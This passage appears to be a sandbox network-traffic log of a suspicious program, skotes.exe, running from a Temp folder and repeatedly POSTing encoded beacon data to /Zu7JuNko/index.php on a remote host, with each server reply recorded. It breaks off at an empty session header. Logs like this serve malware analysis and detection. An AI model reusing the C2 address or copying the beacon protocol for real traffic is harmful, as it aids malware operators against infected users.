Nov 16, 2024 19:26:52.565516949 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:53.494529009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50884	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:55.156589031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:56.073016882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50885	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:57.594815016 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:58.501203060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50886	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:00.137800932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:01.040529013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50888	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:02.559667110 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:03.476260900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50889	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:05.107645988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:06.028111935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50890	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:07.544317007 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:08.464435101 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50891	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:10.080234051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:11.014069080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50893	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:12.530884981 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:13.470403910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50894	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:15.092154980 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:16.001359940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50895	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:17.529320002 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:18.455282927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50896	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:20.090929985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:20.979063034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50898	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:22.497016907 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:23.424309015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50899	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:25.049592018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:25.969537973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50900	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:27.483213902 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:28.396648884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50901	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:30.099303007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:30.989237070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50903	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:32.515744925 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:33.411886930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50904	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:35.044648886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:35.964937925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50905	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:37.483068943 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:38.383796930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50906	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:40.012738943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:40.912025928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50908	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:42.426851988 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:43.343621969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50909	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:45.160718918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:46.096991062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50910	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:47.622793913 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:48.538693905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50913	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
